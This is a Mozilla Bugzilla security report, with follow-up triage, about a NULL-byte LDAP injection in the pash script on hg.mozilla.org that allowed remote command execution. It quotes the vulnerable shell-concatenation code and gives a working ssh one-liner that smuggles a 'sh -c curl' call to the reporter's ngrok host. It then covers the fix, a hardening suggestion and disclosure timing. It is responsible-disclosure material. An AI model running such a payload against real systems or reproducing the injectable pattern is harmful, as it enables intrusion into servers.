Closed Bug 1807621 Opened 1 year ago Closed 1 year ago

pash authenticated RCE via LDAP NULL byte injection

Categories

(Developer Services :: Mercurial: hg.mozilla.org, defect)

defect

Tracking

(Not tracked)

RESOLVED FIXED

People

(Reporter: joernchen, Unassigned)

References

()

Details

(Keywords: sec-critical, wsec-injection, Whiteboard: [reporter-external] [web-bounty-form] [verif?])

Attachments

(1 file)

Attached image screenshot

pash offers to clone from user's private repositories in the make_repo_clone method. Note that here the source_user is completely user controlled

        source_user = input(
            'Please enter the e-mail address of the user owning the repo: '
        )
        valid_user = is_valid_user(source_user)
        if valid_user == True:
            source_user = source_user.replace('@', '_')
        elif valid_user == False:
            sys.stderr.write('Unknown user.\n')
            sys.exit(1)
        elif valid_user == 'Invalid Email Address':
            sys.stderr.write('Invalid Email Address.\n')
            sys.exit(1)
        source_user_path = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1 -mindepth 1 -type d')
        if not source_user_path:
            print('That user does not have any private repositories.')
            print('Check https://' + cname + '/users for a list of valid users.')
            sys.exit(1)
        else:
            user_repo_list = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 3 -mindepth 2 -type d -name .hg')
            user_repo_list = map(lambda x: x.replace(DOC_ROOT + '/users/' + source_user, ''), user_repo_list)
            user_repo_list = map(lambda x: x.replace('/.hg', ''), user_repo_list)
            user_repo_list = map(lambda x: x.strip('/'), user_repo_list)
            user_repo_list = sorted(user_repo_list)
            print('Select the users repo you wish to clone.')
            source_repo = prompt_user('Pick a source repo:', user_repo_list, period=False)
            source_repo = 'users/' + source_user + '/' + source_repo

The call to is_valid_user calls get_ldap_attribute from ldap_helper.py

Here we have a potential LDAP injection via the mail parameter:

result = ldap_conn.search_s('dc=mozilla', ldap.SCOPE_SUBTREE, '(mail=' + mail + ')', [attr])

However the following characters are stripped in the calling function is_valid_user

    mail = mail.strip()
    replacements = {
        '(': '',
        ')': '',
        "'": '',
        '"': '',
        ';': '',
    }
    for search, replace in replacements.items():
        mail = mail.replace(search, replace) 

It took me a moment, but we can inject NULL bytes into the LDAP queries and gain RCE like so:

echo "1\n2\njoernchen@*\\\00|sh -c 'curl https://6674-84-173-134-114.eu.ngrok.io' " |ssh -i ~/.ssh/id_ecdsa_moz -l 'joernchen@phenoelit.de' hg.mozilla.org 'clone testhg'

To explain the payload: 1\n2\n will select the proper arguments to the clone testhg command to end up in the clone private repository path. then joernchen@*\\\00 will be the part of the LDAP filter which will find my account, it's enabled for access to hg.mozilla.com so the is_valid_user will return 1. The last part |sh -c 'curl https://6674-84-173-134-114.eu.ngrok.io' of the payload is the actual injected command it will be dropped in the LDAP search due to the injected NULL character. This works because sh_helper.py which is used to execute the find commands looks for | to open subprocesses.

Attached also a screenshot of my ngrok listener for the above payload accepting a connection from 63.245.208.129 which resolves to default-nat.fw1.mdc1.mozilla.com.

Flags: sec-bounty?
Type: task → defect
Component: Other → Mercurial: hg.mozilla.org
Product: Websites → Developer Services

Hello Connor,

Can you please take a look at this report?

Thanks,
Frida

Flags: needinfo?(sheehan)

The simplest fix here is to just remove the "private repo clone" functionality from the pash script - we haven't had private repos on hgmo for a while now anyways so this is just a leftover.

That sounds like a good idea. +1.

can also check if we're using the same pattern in other locations in the code.

can also check if we're using the same pattern in other locations in the code.

that was the only exploitable location I've found. In all other places I came across the queried user comes from SSH, and it seems that the LDAP ssh key lookup in https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/scripts/ldap-lookup-ssh-key isn't affected by this as SSH refuses those injections when it looks up users via pam_ldap.

This fix is deployed.

FYI I have not reproduced this myself pre or post fix.

Status: UNCONFIRMED → NEW
Ever confirmed: true

Hello Connor,

Thank you for the quick fix.

I am wondering if it would also be possible to check for null bytes in the mail parameter in the is_valid_user method, https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/hgserver/pash/hg_helper.py#l131?

Thanks,
Frida

Instead of checking for null bytes I'd recommend checking for backslash as the null byte is injected by a backslash escape, I digged a bit deeper on that and it seems that the LDAP library unescapes those. So rejecting \ in the input would catch other potential injections as well.

(In reply to joernchen@phenoelit.de from comment #5)

can also check if we're using the same pattern in other locations in the code.

that was the only exploitable location I've found. In all other places I came across the queried user comes from SSH, and it seems that the LDAP ssh key lookup in https://hg.mozilla.org/hgcustom/version-control-tools/file/tip/scripts/ldap-lookup-ssh-key isn't affected by this as SSH refuses those injections when it looks up users via pam_ldap.

Thank you for the confirmation.

Another pattern we can check for is using the user input when running commands, similar to the below line:

source_user_path = run_command('find ' + DOC_ROOT + '/users/' + source_user + ' -maxdepth 1 -mindepth 1 -type d')
Status: NEW → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Flags: sec-bounty? → sec-bounty+
Keywords: sec-critical
Keywords: wsec-injection

Hello Joern,

Thank you for reporting this issue to us.

Your reports are also eligible for a hall of fame mention on our website, https://www.mozilla.org/en-US/security/bug-bounty/web-hall-of-fame/. Please let us know how you would like to be mentioned and if there is a link you want us to include there.

Thanks,
Frida

(In reply to Frida K [:frida] from comment #12)

Hello Joern,

Thank you for reporting this issue to us.

Your reports are also eligible for a hall of fame mention on our website, https://www.mozilla.org/en-US/security/bug-bounty/web-hall-of-fame/. Please let us know how you would like to be mentioned and if there is a link you want us to include there.

Thanks,
Frida

Hey Frida,

thanks, yes sure I'll take a spot in the hall of fame :). I'm planning to do some writeup about the two issues is there any timing I should stick to with publishing?

We would like to do a thorough review of the code, specially the pash library, I'll check with the engineering team about timeline and if they have concerns about disclosure.

Thanks,
Frida

(In reply to Frida K [:frida] from comment #14)

We would like to do a thorough review of the code, specially the pash library, I'll check with the engineering team about timeline and if they have concerns about disclosure.

Thanks,
Frida

Hey,

half a year has passed since this was reported. I'll publish some details about this bug and https://bugzilla.mozilla.org/show_bug.cgi?id=1807478 too in the coming days. Hope that's fine :)

Hello Joern,

We performed the security review for pash so it should be ok.

Thanks,
Frida

Group: websites-security
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: